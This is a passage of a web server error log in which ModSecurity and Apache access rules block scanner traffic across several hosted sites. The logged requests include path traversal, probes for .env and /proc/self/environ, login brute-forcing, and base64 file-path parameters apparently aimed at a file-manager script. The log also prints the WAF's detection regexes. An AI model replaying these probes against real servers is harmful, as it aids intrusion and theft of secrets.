https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMC9zdWJzeXN0ZW0vaW5wdXQxL2V2ZW50MS9kZXZpY2UvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:12:44.341797 2026] [access_compat:error] [pid 531797:tid 531902] [remote 57.141.14.86:32500] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:12:44.342232 2026] [access_compat:error] [pid 531797:tid 531902] [remote 57.141.14.86:32500] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:12:44.348566 2026] [access_compat:error] [pid 531797:tid 531915] [remote 57.141.14.56:21078] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:12:44.348891 2026] [access_compat:error] [pid 531797:tid 531915] [remote 57.141.14.56:21078] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:12:44.596212 2026] [security2:error] [pid 531797:tid 531873] [remote 17.22.253.115:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 115.253.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3x_MTA7b1mZrmcA-85sgACjwk"] [Sat Jun 13 18:12:44.622004 2026] [security2:error] [pid 531155:tid 531263] [remote 17.246.15.135:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 135.15.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3x_CmiP80klyS0NnoGHQABYGs"] [Sat Jun 13 18:12:44.662915 2026] [security2:error] [pid 531155:tid 531183] [remote 185.177.72.9:45824] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?i)(?:\\\\x5c|(?:%(?:2(?:5(?:2f|5c)|%46|f)|c(?:0%(?:9v|af)|1%1c)|u(?:221[56]|002f)|%32(?:%46|F)|e0%80%af|1u|5c)|\\\\/))(?:%(?:2(?:(?:52)?e|%45)|(?:e0%8|c)0%ae|u(?:002e|2024)|%32(?:%45|E))|\\\\.){2}(?:\\\\x5c|(?:%(?:2(?:5(?:2f|5c)|%46|f)|c(?:0%(?:9v|af)|1%1c)| ..." at ARGS:helpFilePath. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "198"] [id "340007"] [rev "47"] [msg "Atomicorp.com WAF Rules: Generic Path Recursion denied"] [data "/../,ARGS:helpFilePath"] [severity "CRITICAL"] [hostname "bradgoreski.co"] [uri "/jsp/help-hierarchyTree.jsp"] [unique_id "ai3x_CmiP80klyS0NnoGIgABSRs"] [Sat Jun 13 18:12:44.739524 2026] [security2:error] [pid 531797:tid 532062] [client 216.73.217.70:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 70.217.73.216.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.goldensnifferproducts.com"] [uri "/php52/ext/standard/tests/class_object/get_declared_interfaces_variation1.phpt"] [unique_id "ai3x_MTA7b1mZrmcA-85twAAAlQ"] [Sat Jun 13 18:12:44.788415 2026] [access_compat:error] [pid 531155:tid 531213] [remote 57.141.14.14:39892] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:12:44.788873 2026] [access_compat:error] [pid 531155:tid 531213] [remote 57.141.14.14:39892] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:12:44.800718 2026] [security2:error] [pid 531155:tid 531246] [remote 185.177.72.9:45824] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?i)(?:\\\\x5c|(?:%(?:2(?:5(?:2f|5c)|%46|f)|c(?:0%(?:9v|af)|1%1c)|u(?:221[56]|002f)|%32(?:%46|F)|e0%80%af|1u|5c)|\\\\/))(?:%(?:2(?:(?:52)?e|%45)|(?:e0%8|c)0%ae|u(?:002e|2024)|%32(?:%45|E))|\\\\.){2}(?:\\\\x5c|(?:%(?:2(?:5(?:2f|5c)|%46|f)|c(?:0%(?:9v|af)|1%1c)| ..." at ARGS:helpFilePath. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "198"] [id "340007"] [rev "47"] [msg "Atomicorp.com WAF Rules: Generic Path Recursion denied"] [data "/../,ARGS:helpFilePath"] [severity "CRITICAL"] [hostname "bradgoreski.co"] [uri "/jsp/help-hierarchyTree.jsp"] [unique_id "ai3x_CmiP80klyS0NnoGJwABOFo"] [Sat Jun 13 18:12:44.869778 2026] [access_compat:error] [pid 531797:tid 531944] [remote 57.141.14.19:24084] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:12:44.870222 2026] [access_compat:error] [pid 531797:tid 531944] [remote 57.141.14.19:24084] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:12:44.899826 2026] [access_compat:error] [pid 531155:tid 531197] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9kZXZpY2UvZHJpdmVyL3NlcmlvMS9pbnB1dC9pbnB1dDQvZXZlbnQ0L2RldmljZQ== [Sat Jun 13 18:12:44.900329 2026] [access_compat:error] [pid 531155:tid 531197] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9kZXZpY2UvZHJpdmVyL3NlcmlvMS9pbnB1dC9pbnB1dDQvZXZlbnQ0L2RldmljZQ== [Sat Jun 13 18:12:44.957056 2026] [access_compat:error] [pid 531797:tid 531941] [remote 57.141.14.62:23154] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:12:44.957489 2026] [access_compat:error] [pid 531797:tid 531941] [remote 57.141.14.62:23154] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:12:45.390270 2026] [access_compat:error] [pid 531155:tid 531194] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9zdWJzeXN0ZW0vaW5wdXQ3L2RldmljZS9kcml2ZXIvbW9kdWxl [Sat Jun 13 18:12:45.390761 2026] [access_compat:error] [pid 531155:tid 531194] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9zdWJzeXN0ZW0vaW5wdXQ3L2RldmljZS9kcml2ZXIvbW9kdWxl [Sat Jun 13 18:12:45.535410 2026] [security2:error] [pid 531155:tid 531224] [remote 17.246.23.156:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 156.23.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3x_SmiP80klyS0NnoGSwABNEQ"] [Sat Jun 13 18:12:45.762669 2026] [security2:error] [pid 531155:tid 531166] [remote 185.177.72.9:45824] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "bradgoreski.co"] [uri "/var/www/.env"] [unique_id "ai3x_SmiP80klyS0NnoGVAABbQo"] [Sat Jun 13 18:12:45.903812 2026] [access_compat:error] [pid 531155:tid 531167] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9tb3VzZTEvZGV2aWNlL2RldmljZS9pbnB1dC9pbnB1dDUvY2FwYWJpbGl0aWVz [Sat Jun 13 18:12:45.904141 2026] [access_compat:error] [pid 531155:tid 531167] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9tb3VzZTEvZGV2aWNlL2RldmljZS9pbnB1dC9pbnB1dDUvY2FwYWJpbGl0aWVz [Sat Jun 13 18:12:46.030617 2026] [security2:error] [pid 531797:tid 531956] [remote 17.241.219.102:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 102.219.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3x_sTA7b1mZrmcA-850wACjlw"] [Sat Jun 13 18:12:46.067822 2026] [security2:error] [pid 531797:tid 532011] [client 189.217.192.30:28288] ModSecurity: Warning. Pattern match "POST" at REQUEST_METHOD. [file "/opt/mod_security/hg_rules.conf"] [line "151"] [id "900405"] [msg "xmlrpc POST logging"] [data "200"] [hostname "kawasakiz1.com"] [uri "/xmlrpc.php"] [unique_id "ai3x_cTA7b1mZrmcA-850QAAAiM"] [Sat Jun 13 18:12:46.339731 2026] [access_compat:error] [pid 531797:tid 531983] [remote 57.141.14.9:39978] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:12:46.340171 2026] [access_compat:error] [pid 531797:tid 531983] [remote 57.141.14.9:39978] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:12:46.432620 2026] [access_compat:error] [pid 531155:tid 531230] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9zdWJzeXN0ZW0vaW5wdXQ1L3N1YnN5c3RlbS9ldmVudDUvcG93ZXI= [Sat Jun 13 18:12:46.432900 2026] [access_compat:error] [pid 531155:tid 531230] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9zdWJzeXN0ZW0vaW5wdXQ1L3N1YnN5c3RlbS9ldmVudDUvcG93ZXI= [Sat Jun 13 18:12:46.524177 2026] [access_compat:error] [pid 531797:tid 531911] [remote 57.141.14.98:56018] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:12:46.524618 2026] [access_compat:error] [pid 531797:tid 531911] [remote 57.141.14.98:56018] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:12:46.599904 2026] [access_compat:error] [pid 531797:tid 531876] [remote 57.141.14.90:59542] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:12:46.600160 2026] [access_compat:error] [pid 531797:tid 531876] [remote 57.141.14.90:59542] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:12:46.705146 2026] [security2:error] [pid 531797:tid 531988] [remote 17.241.227.225:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 225.227.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3x_sTA7b1mZrmcA-855gACgHs"] [Sat Jun 13 18:12:46.841681 2026] [access_compat:error] [pid 531155:tid 531282] [remote 57.141.14.108:58249] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:12:46.841966 2026] [access_compat:error] [pid 531155:tid 531282] [remote 57.141.14.108:58249] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:12:46.882643 2026] [core:error] [pid 531797:tid 532070] [client 47.79.206.75:31552] AH00124: Request exceeded the limit of 10 internal redirects due to probable configuration error. Use 'LimitInternalRecursion' to increase the limit if necessary. Use 'LogLevel debug' to get a backtrace., referer: https://www.google.com/ [Sat Jun 13 18:12:46.882676 2026] [core:error] [pid 531797:tid 532070] [client 47.79.206.75:31552] AH00124: Request exceeded the limit of 10 internal redirects due to probable configuration error. Use 'LimitInternalRecursion' to increase the limit if necessary. Use 'LogLevel debug' to get a backtrace., referer: https://www.google.com/ [Sat Jun 13 18:12:47.001005 2026] [access_compat:error] [pid 531155:tid 531164] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9zdWJzeXN0ZW0vaW5wdXQxL3N1YnN5c3RlbS9tb3VzZTAvZGV2aWNlL2RldmljZQ== [Sat Jun 13 18:12:47.001331 2026] [access_compat:error] [pid 531155:tid 531164] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9zdWJzeXN0ZW0vaW5wdXQxL3N1YnN5c3RlbS9tb3VzZTAvZGV2aWNlL2RldmljZQ== [Sat Jun 13 18:12:47.082315 2026] [access_compat:error] [pid 531797:tid 531981] [remote 57.141.14.53:32388] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:12:47.082795 2026] [access_compat:error] [pid 531797:tid 531981] [remote 57.141.14.53:32388] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:12:47.091270 2026] [access_compat:error] [pid 531797:tid 531949] [remote 216.73.216.182:63651] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:12:47.091716 2026] [access_compat:error] [pid 531797:tid 531949] [remote 216.73.216.182:63651] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:12:47.253139 2026] [security2:error] [pid 531155:tid 531234] [remote 202.172.25.41:51878] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 41.25.172.202.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "afrilech.org"] [uri "/wp-login.php"] [unique_id "ai3x_ymiP80klyS0NnoGhwABHU4"] [Sat Jun 13 18:12:47.506639 2026] [security2:error] [pid 531155:tid 531184] [remote 185.177.72.9:45824] ModSecurity: Access denied with connection close (phase 1). Pattern match "proc/self/environ" at REQUEST_URI. [file "/opt/mod_security/hg_rules.conf"] [line "1161"] [id "999997"] [msg "proc environ"] [hostname "bradgoreski.co"] [uri "/proc/self/environ"] [unique_id "ai3x_ymiP80klyS0NnoGjgABIxw"] [Sat Jun 13 18:12:47.523535 2026] [access_compat:error] [pid 531155:tid 531161] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9kZXZpY2UvbW91c2UyL2RldmljZS9kZXZpY2UvaGlkcmF3L2hpZHJhdzAvZGV2aWNl [Sat Jun 13 18:12:47.523969 2026] [access_compat:error] [pid 531155:tid 531161] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9kZXZpY2UvbW91c2UyL2RldmljZS9kZXZpY2UvaGlkcmF3L2hpZHJhdzAvZGV2aWNl [Sat Jun 13 18:12:47.588346 2026] [security2:error] [pid 531797:tid 531918] [remote 216.73.216.182:63651] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 182.216.73.216.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "homs.co.ke"] [uri "/adminer.php"] [unique_id "ai3x_8TA7b1mZrmcA-86AQACiDY"], referer: https://homs.co.ke/?action=adminer&p=Ly9saWIvLmJ1aWxkLWlkL2I0 [Sat Jun 13 18:12:47.664607 2026] [access_compat:error] [pid 531155:tid 531269] [remote 57.141.14.83:58674] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:12:47.665050 2026] [access_compat:error] [pid 531155:tid 531269] [remote 57.141.14.83:58674] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:12:47.757533 2026] [security2:error] [pid 531797:tid 531928] [remote 17.241.219.86:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 